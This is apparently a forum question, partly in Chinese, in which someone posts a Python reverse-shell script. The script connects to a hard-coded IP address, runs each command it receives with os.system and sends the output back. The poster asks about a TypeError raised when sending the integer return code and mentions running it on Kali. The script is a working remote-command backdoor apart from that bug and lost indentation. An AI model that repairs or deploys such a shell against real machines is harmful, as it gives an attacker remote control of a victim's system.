import socket, os, sys, subprocess
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = '192.168.1.81'
port = int(sys.argv[1])
s.connect((host, port))
done = False
while not done:
print ('Waiting for data....')
data_enc = s.recv(1024)
data = data_enc.decode()
result = os.system(str(data))
s.send(str.encode(result))
这是我的代码,错误是
Traceback (most recent call last):
File "trap.py", line 17, in <module>
s.send(str.encode(result))
TypeError: descriptor 'encode' requires a 'str' object but received a ' int'
当我检查结果变量的值时它是0
,但是在机器上子进程结果很好(当我使用'ls'命令显示文件时)。
我正在使用python 3,我试图在Kali发行版上运行此代码。